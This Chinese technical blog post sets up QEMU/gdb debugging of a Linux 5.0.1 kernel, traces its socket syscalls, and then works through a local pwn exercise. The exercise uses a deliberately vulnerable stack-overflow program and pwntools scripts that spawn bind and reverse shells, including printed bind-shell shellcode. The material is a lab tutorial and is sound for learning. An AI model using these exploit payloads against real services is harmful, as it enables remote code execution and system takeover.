linux-socket-kernel-dynamic-debug

发布时间 2023-04-09 13:16:07作者: Tw0^Y

Linux socket programming kernel debug

kernel debug enviroment setup

参考文章,基于linux5.0.1内核的网络代码环境的构建及内核函数的跟踪 - 莫大少 - 博客园 (cnblogs.com)。思路就是带调试信息编译Linux内核,用qemu模拟操作系统进行socket通信,借助gdb进行dynamic debug。下面是跟着文章进行复现环境搭建。

  • 安装编译工具

sudo apt install build-essential flex bison libssl-dev libelf-dev libncurses-dev

  • 下载linux内核编译
mkdir kernel   
wget https://mirrors.edge.kernel.org/pub/linux/kernel/v5.x/linux-5.0.1.tar.gz
mv linux-5.0.1.tar ./kernel
cd kernel
tar -xvf linux-5.0.1.tar.gz
#配置内核并编译
cd ./linux-5.0.1 && make x86_64_defconfig && make menuconfig

select kernel hacking

image-20230323095935371

compile-time checks and compiler options

image-20230323100145349

select compiler the kernel with debug info,save and compile

image-20230323100234081

make -j X X可以根据cpu个数设定

  • download root file system(rootfs) and compile
#在kernel文件目录下
mkdir rootfs
git clone https://github.com/mengning/menu.git && cd menu
gcc -pthread -o init linktable.c menu.c test.c -m32 -static
cd ../rootfs && cp ../menu/init ./
#制作linxu kernel 根文件系统
find . |cpio -o -Hnewc |gzip -9 > ../rootfs.img 

image-20230323105227822

  • install qemu

sudo apt-get install qemu

  • run MenuOS on qemu

you can create a shell scripts to run.

qemu-system-x86_64 -kernel linux-5.0.1/arch/x86/boot/bzImage -initrd rootfs.img #without debug option
qemu-system-x86_64 -kernel linux-5.0.1/arch/x86/boot/bzImage -initrd rootfs.img -s -S #debug
  • create socket-MenuOS file system

git clone https://github.com/mengning/linuxnet.git

copy two files(main.c and syswrapper.h in lab3) to menu,重新编译

gcc -pthread -o init linktable.c menu.c main.c -m32 -static

image-20230323151645378

make rootfs and run qemu

#pwd = menu
find init |cpio -o -Hnewc |gzip -9 > ../rootfs.img
cd ..
qemu-system-x86_64 -kernel linux-5.0.1/arch/x86/boot/bzImage -initrd rootfs.img -S -append nokaslr -gdb tcp::9999

-S freeze CPU at startup

-append nokaslr 保证断点挂得住,可以选择不加

problem meybe encounter and solution

  • error New address family defined, please update secclass_map

(96条消息) 编译错误 error New address family defined, please update secclass_map.解决_孤星入命孑然一身的博客-CSDN博客

  • error: ‘-mindirect-branch’ and ‘-fcf-protection’ are not compatible

gcc版本修改问题。Linux内核编译 - 知乎 (zhihu.com)

如果编译时提示:error: ‘-mindirect-branch’ and ‘-fcf-protection’ are not compatible

可能是gcc版本过高,可以改为gcc8:

apt-get install gcc-8

apt-get install g++-8

配置:将gcc8,g++8作为默认选项

sudo update-alternatives --install /usr/bin/gcc gcc /usr/bin/gcc-8 100

sudo update-alternatives --config gcc

sudo update-alternatives --install /usr/bin/g++ g++ /usr/bin/g++-8 100

sudo update-alternatives --config g++

查看是否成功:

gcc -v

g++ -v

image-20230323114115613

  • E: Package 'gcc-8' has no installation candidate

(96条消息) 高版本Ubuntu(如22.02)修改apt源,快速安装低版本gcc/g++_apt 安装旧版本_懵~的博客-CSDN博客

echo  "deb [arch=amd64] http://archive.ubuntu.com/ubuntu focal main universe" >> /etc/apt/source.list
sudo apt-get upadte
sudp apt-get install gcc-8 g++-8
  • thunk_64.o: warning: objtool: missing symbol table

(96条消息) ubuntu22.04使用时遇到的问题_make thunk_64.o_lcy_Knight的博客-CSDN博客

修改.config文件。可以直接手动修改,也可以在make menuconfig-->general setting-->preemption model-->preemptible kernel

CONFIG_PREEMPT=y

kernel socket dynamic debug trace operation

run socket qemu

#./launch.sh
qemu-system-x86_64 \
	-kernel linux-5.0.1/arch/x86/boot/bzImage \
	-initrd rootfs.img -S -append nokaslr \
	-gdb tcp::9999

load symbol file and attach to the pid

gdb ./linux-5.0.1/vmlinux
	target remote:9999
	b start_kernel #set breakpoint, press "c" to continue run the process 

image-20230323154358394

因为linux的内核是只提供接口给用户操作的,因此需要对内核进行调试就要通过syscall进行中断调用。64位程序的内核中断对照表可以在linux-5.0.1/arch/sh/include/uapi/asm/unistd_64.h文件中找到

socket function 从用户态到内核态

1159589-20191226151145805-848214200.png (592×537) (cnblogs.com)

  • 用户态源码

    #include <errno.h>
    #include <sys/socket.h>
    
    /* Create a new socket of type TYPE in domain DOMAIN, using
       protocol PROTOCOL.  If PROTOCOL is zero, one is chosen automatically.
       Returns a file descriptor for the new socket, or -1 for errors.  */
    int
    __socket (int domain, int type, int protocol)
    {
      __set_errno (ENOSYS);
      return -1;
    }
    
    
    libc_hidden_def (__socket)
    weak_alias (__socket, socket)
    stub_warning (socket)
    

__sys_socket funtion

  • sock_create 即 __sock_create函数的封装

    image-20230323202703210

    • sock_alloc

      • inet_create() == pf->create //函数指针

      image-20230323202859127

        • sk = sk_alloc

          • sk->sk_prot->init() linux-5.0.1/net/ipv4/af_inet.c line379

            image-20230323202451467

  • sock_map_fd

image-20230323203024253

    • sock_alloc_fd

      image-20230323203417490

      • sock_attach_fd
      • fd_install

__sys_bind

先给出内核源码。通过sockfd_fd_lookup_light()找到fd对应的struct sock,再内存移动,检查之后对sock进行bind。

image-20230403114607845

步入sock->ops->bind()查看,对应的调用函数是inet_bind()

image-20230403115013470

进行检查之后,return最后调用__inet_bind()进行绑定

image-20230403115215270

__sys_listen

与__sys_bind的封装相同。

image-20230403115321965

进入sock->ops->listen(),即inet_listen()

image-20230403115457151

__sys_connnect

套接字进行connect时对应的内核函数,__sys_connect。

image-20230403113128646

通过socketfd_lookup_light()函数获得fd对应的内核struct sock的指针,move_addr_to_kernel()移动user mem到kernel mem,再security_socket_connect()对连接进行检查,最后sock->ops->connect()调用inet_stream_connect()实现connect。

image-20230403114349620

__sys_accept

accept的内核函数需要下断点在__sys_accept4上,截图较长,因此直接放上源码。

int __sys_accept4(int fd, struct sockaddr __user *upeer_sockaddr,
		  int __user *upeer_addrlen, int flags)
{
	struct socket *sock, *newsock;
	struct file *newfile;
	int err, len, newfd, fput_needed;
	struct sockaddr_storage address;

	if (flags & ~(SOCK_CLOEXEC | SOCK_NONBLOCK))
		return -EINVAL;

	if (SOCK_NONBLOCK != O_NONBLOCK && (flags & SOCK_NONBLOCK))
		flags = (flags & ~SOCK_NONBLOCK) | O_NONBLOCK;

	sock = sockfd_lookup_light(fd, &err, &fput_needed);
	if (!sock)
		goto out;

	err = -ENFILE;
	newsock = sock_alloc();
	if (!newsock)
		goto out_put;

	newsock->type = sock->type;
	newsock->ops = sock->ops;

	/*
	 * We don't need try_module_get here, as the listening socket (sock)
	 * has the protocol module (sock->ops->owner) held.
	 */
	__module_get(newsock->ops->owner);

	newfd = get_unused_fd_flags(flags);
	if (unlikely(newfd < 0)) {
		err = newfd;
		sock_release(newsock);
		goto out_put;
	}
//创建一个新的socket并且绑定在一个未被使用的fd上,完成accept操作
	newfile = sock_alloc_file(newsock, flags, sock->sk->sk_prot_creator->name);
	if (IS_ERR(newfile)) {
		err = PTR_ERR(newfile);
		put_unused_fd(newfd);
		goto out_put;
	}

	err = security_socket_accept(sock, newsock);
	if (err)
		goto out_fd;

	err = sock->ops->accept(sock, newsock, sock->file->f_flags, false);
	if (err < 0)
		goto out_fd;

	if (upeer_sockaddr) {
		len = newsock->ops->getname(newsock,
					(struct sockaddr *)&address, 2);
		if (len < 0) {
			err = -ECONNABORTED;
			goto out_fd;
		}
		err = move_addr_to_user(&address,
					len, upeer_sockaddr, upeer_addrlen);
		if (err < 0)
			goto out_fd;
	}

	/* File flags are not inherited via accept() unlike another OSes. */

	fd_install(newfd, newfile);
	err = newfd;

out_put:
	fput_light(sock->file, fput_needed);
out:
	return err;
out_fd:
	fput(newfile);
	put_unused_fd(newfd);
	goto out_put;
}

Deep understanding of file descriptor in socket

参考文章深入理解pwn题中的正连/反连tcp | blingbling's blog (blingblingxuanxuan.github.io)

前置讲解

  • 以下shellcode都是通过pwntools的集成模块生成的,shellcode中间存在b"\x00"字节,因此在真实利用环境中,可能会因为字符截断造成利用不成功
  • 根据本人理解,创建的socket可以分为两种。一种是socket()函数调用之后,系统会创建的一个套接字,并且监听在指定的ip和port上;另外一种是当有客户端连接服务端之后,c/s之间建立真实连接的套接字。这也是下面运行exp后程序会有产生两个socket的原因。

demo

写一个具有rwx的socket程序,监听再本地的8888端口上面。

//gcc socket_pwn.c -fno-stack-protector -no-pie -z execstack -o socket_pwn
#include<stdio.h>
#include<unistd.h>
#include<sys/socket.h>
#include<arpa/inet.h>

int main(int argc,char **argv){
    int jmp = 0xe4ff;
    int sckfd,fd;
    char buf[10];
    struct sockaddr_in server;
    sckfd = socket(AF_INET,SOCK_STREAM,0);
    server.sin_family = AF_INET;
    server.sin_port = htons(8888);
    server.sin_addr.s_addr = inet_addr("0.0.0.0");
    bind(sckfd,(struct sockaddr *)&server,sizeof(server));
    listen(sckfd,10);
    fd = accept(sckfd,NULL,NULL);
    read(fd,buf,1000);

    return 0;
}

运行demo,查看file descriptor。stdin/stdout/stderr都是指向当前terminal,另外有一个file descriptor 3绑定在了本地监听socket上。是一个socket()->bind()->listen()的过程,accept()等待客户端进行连接。

image-20230331091954749

普通shell

因为程序有溢出,并且存在rwx段,可以直接打shellcode执行/bin/sh来获得shell。

from pwn import *
context(arch='amd64',os='linux',log_level='debug')

pr = remote('127.0.0.1',8888)

payload = b'a'*30
payload += p64(0x40120c)
payload += asm(shellcraft.sh())

pr.sendline(payload)
pr.interactive()

但是因为程序只是建立了一个socket等待连接,所以输入输出会存在问题。可以看到运行python脚本后,python脚本通过52162端口和socket程序建立了连接。

image-20230401232047593

看两个进程的file descriptor,清楚的看到socket程序和python的stdin/stdout/stderr都是指向各自的terminal。所以此时虽然已经是通过exp获得了shell,但是无法获得远程主机的回显。

image-20230401235018239

正向连接

  • bindsh() ---> create new socket and bind port

本方式,需要另开进程,重新nc连接获得shell的回显。

from pwn import *
context(arch='amd64',os='linux',log_level='debug')

pr = remote('127.0.0.1',8888)

payload = b'a'*30
payload += p64(0x40120c)
payload += asm(shellcraft.bindsh(4444,"ipv4"))

pr.sendline(payload)
pr.interactive()

可以看到shellcraft创建的shellcode的逻辑。是创建一个套接字之后,将stdin/stdout/stderr file descriptor全部绑定在了这个新创建的套接字上,并让套接字监听在4444端口上。

/* call socket('AF_INET', 'SOCK_STREAM', 0) */
        push 41 /* 0x29 */
        pop rax
        push 2 /* 2 */
        pop rdi
        push 1 /* 1 */
        pop rsi
        cdq /* rdx=0 */
        syscall
/* Build sockaddr_in structure */
        push rdx
        mov edx, 0x1010101 /* (AF_INET | (23569 << 16)) == 0x5c110002 */
        xor edx, 0x5d100103
        push rdx
        /* rdx = sizeof(struct sockaddr_in6) */
        push 0x10
        pop rdx
/* Save server socket in rbp */
        mov rbp, rax
/* call bind('rax', 'rsp', 'rdx') */
        mov rdi, rax
        push 49 /* 0x31 */
        pop rax
        mov rsi, rsp
        syscall
/* call listen('rbp', 1) */
        push 50 /* 0x32 */
        pop rax
        mov rdi, rbp
        push 1
        pop rsi
        syscall
/* call accept('rbp', 0, 0) */
        push 43 /* 0x2b */
        pop rax
        mov rdi, rbp
        xor esi, esi /* 0 */
        cdq /* rdx=0 */
        syscall
/* dup() file descriptor rax into stdin/stdout/stderr */
    dup_1:
        mov rbp, rax
        push 3
    loop_2:
        pop rsi
        dec rsi
        js after_3
        push rsi
/* call dup2('rbp', 'rsi') */
        push 33 /* 0x21 */
        pop rax
        mov rdi, rbp
        syscall
        jmp loop_2
    after_3:
/* execve(path='/bin///sh', argv=['sh'], envp=0) */
        /* push b'/bin///sh\x00' */
        push 0x68
        mov rax, 0x732f2f2f6e69622f
        push rax
        mov rdi, rsp
        /* push argument array ['sh\x00'] */
        /* push b'sh\x00' */
        push 0x1010101 ^ 0x6873
        xor dword ptr [rsp], 0x1010101
        xor esi, esi /* 0 */
        push rsi /* null terminate */
        push 8
        pop rsi
        add rsi, rsp
        push rsi /* 'sh\x00' */
        mov rsi, rsp
        xor edx, edx /* 0 */
        /* call execve() */
        push 59 /* 0x3b */
        pop rax
        syscall

运行python脚本时。从进程pid和端口上来看,socket程序新创建了一个套接字监听在4444端口上。

image-20230402002137697

file descriptor的映射情况如下,pid=3783的5 fd就是带有shell监听的套接字。

image-20230402002338280

进行nc连接后,4444端口的监听有连接了。

image-20230402002633624

文件描述符上看,socket程序的stdin/stdout/stderr 都重定向到了新创建的连接套接字上。

image-20230402002759249

程序也有了回显。

image-20230402002954097

  • dupsh() --> dup stdin/stdout/stderr file descriptor to using socket

dupsh()的shellcode逻辑比binsh()简单,将stdin/stdout/stderr绑定在了已经创建好的4 fd上。

from pwn import *
context(arch='amd64',os='linux',log_level='debug')

pr = remote('127.0.0.1',8888)

payload = b'a'*30
payload += p64(0x40120c)
payload += asm(shellcraft.dupsh(4))

pr.sendline(payload)
pr.interactive()

因为是本地创建的fd和套接字绑定,所以我们知道绑定在新的连接套接字上的fd会是4,所以只需要将stdin/stdout/stderr重定向到fd=4即可获得回显。

image-20230402010851241

反向连接

  • connect()+dupsh()
from pwn import *
context(arch='amd64',os='linux',log_level='debug')

pr = remote('127.0.0.1',8888)

payload = b'a'*30
payload += p64(0x40120c)
payload += asm(shellcraft.connect('127.0.0.1',4444,'ipv4') + shellcraft.dupsh())

pr.sendline(payload)
pr.interactive()
  • findpeersh()
from pwn import *
context(arch='amd64',os='linux',log_level='debug')

pr = remote('127.0.0.1',8888)

payload = b'a'*30
payload += p64(0x40120c)
payload += asm(shellcraft.findpeersh(pr.lport))

pr.sendline(payload)
pr.interactive()